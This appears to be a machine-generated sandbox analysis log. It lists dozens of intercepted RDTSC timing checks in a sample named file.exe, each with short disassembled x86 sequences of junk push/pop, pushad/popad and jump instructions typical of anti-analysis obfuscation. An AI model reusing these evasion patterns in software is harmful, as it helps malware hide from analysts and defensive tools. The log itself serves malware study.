Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3020C4 second address: 3020FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F18AD89A0AAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3020FA second address: 302108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 jnc 00007F18AD7F407Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 302C2E second address: 302C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 302EDA second address: 302EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 307B8F second address: 307B93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 307B93 second address: 307BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 js 00007F18AD7F4076h 0x0000000d pop edx 0x0000000e popad 0x0000000f push ebx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 307BA6 second address: 307BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD89A08Ch 0x00000009 pop edx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30B8D7 second address: 30B8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AFCA second address: 30AFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jne 00007F18AD89A088h 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31240D second address: 312412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312412 second address: 31242A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F18AD89A092h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31242A second address: 312430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312430 second address: 312442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F18AD89A086h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312442 second address: 312452 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F18AD7F4076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312452 second address: 312456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312456 second address: 31245A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31245A second address: 312460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312460 second address: 312465 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312726 second address: 31272E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312A01 second address: 312A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312A07 second address: 312A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F18AD89A08Ch 0x0000000f jmp 00007F18AD89A08Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312BAA second address: 312BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312BB3 second address: 312BBD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F18AD89A086h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3135AE second address: 3135BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 313C9D second address: 313CB1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A5E8 second address: 31A60D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F18AD7F407Eh 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F18AD7F407Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A60D second address: 31A61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A61B second address: 31A625 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F18AD7F4076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A2CB second address: 31A2D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A2D4 second address: 31A2D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A2D8 second address: 31A2DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A2DE second address: 31A2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32999A second address: 32999E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32999E second address: 3299A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3299A2 second address: 3299A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3299A8 second address: 3299B2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F18AD7F407Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3299B2 second address: 3299ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F18AD89A09Eh 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F18AD89A096h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edi 0x00000014 push edi 0x00000015 jmp 00007F18AD89A08Ch 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jl 00007F18AD89A086h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3299ED second address: 3299F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 329641 second address: 329645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 329645 second address: 329681 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4088h 0x00000007 ja 00007F18AD7F4076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F18AD7F4086h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32E7B7 second address: 32E7DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD89A08Eh 0x00000009 popad 0x0000000a jmp 00007F18AD89A093h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32E7DD second address: 32E808 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4086h 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F18AD7F4076h 0x0000000f jmp 00007F18AD7F407Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 333521 second address: 333525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 333525 second address: 333536 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F18AD7F4076h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 333536 second address: 333545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 333545 second address: 333549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33ADEF second address: 33ADF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33DA1D second address: 33DA3F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F18AD7F4076h 0x00000008 jbe 00007F18AD7F4076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F18AD7F407Fh 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33DA3F second address: 33DA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F18AD89A088h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3411FE second address: 341203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341203 second address: 34122A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F18AD89A08Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F18AD89A095h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34122A second address: 341249 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341249 second address: 34124F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34124F second address: 34125B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 346FFE second address: 34700F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD89A08Ch 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34700F second address: 347040 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F18AD7F4076h 0x00000009 pop edi 0x0000000a jg 00007F18AD7F4078h 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007F18AD7F4085h 0x0000001c jmp 00007F18AD7F407Dh 0x00000021 pushad 0x00000022 popad 0x00000023 push ecx 0x00000024 pushad 0x00000025 popad 0x00000026 pushad 0x00000027 popad 0x00000028 pop ecx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 347040 second address: 347046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 347046 second address: 34704C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3471FF second address: 347213 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F18AD89A086h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F18AD89A098h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 347365 second address: 3473A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007F18AD7F4084h 0x0000000f pop esi 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F18AD7F4080h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 347572 second address: 347597 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A093h 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jc 00007F18AD89A086h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3476FD second address: 347705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 347705 second address: 34770B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 347855 second address: 347859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3479F8 second address: 347A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F18AD89A086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 348397 second address: 3483AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F18AD7F407Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34BEBC second address: 34BECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jnc 00007F18AD89A086h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34FD24 second address: 34FD28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3552D8 second address: 3552E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007F18AD89A08Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3552E5 second address: 3552EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3552EB second address: 3552F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F18AD89A086h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35CEAB second address: 35CEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F18AD7F4076h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F416 second address: 35F41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F41C second address: 35F42D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F42D second address: 35F44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F18AD89A097h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F28E second address: 35F292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35F292 second address: 35F2A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F18AD89A086h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 35A95F second address: 35A97B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 jne 00007F18AD7F4076h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F18AD7F4076h 0x00000016 jp 00007F18AD7F4076h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36BD84 second address: 36BD8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384CAA second address: 384CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384CB2 second address: 384CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384CB8 second address: 384CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 push edi 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384CC4 second address: 384CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F18AD89A08Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384CD8 second address: 384CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384F47 second address: 384F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384F4D second address: 384F60 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F18AD7F4076h 0x00000008 jne 00007F18AD7F4076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38539B second address: 3853B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F18AD89A08Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3853B5 second address: 3853CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007F18AD7F408Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F18AD7F4076h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3853CC second address: 3853D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386E05 second address: 386E11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F18AD7F4076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386E11 second address: 386E34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F18AD89A099h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386E34 second address: 386E49 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007F18AD7F4078h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38B065 second address: 38B07B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EA76 second address: 38EA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edi 0x00000008 jmp 00007F18AD7F407Fh 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F18AD7F4076h 0x00000018 jng 00007F18AD7F4076h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A1956 second address: 2A196F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A095h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A196F second address: 2A1994 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F18AD7F4085h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
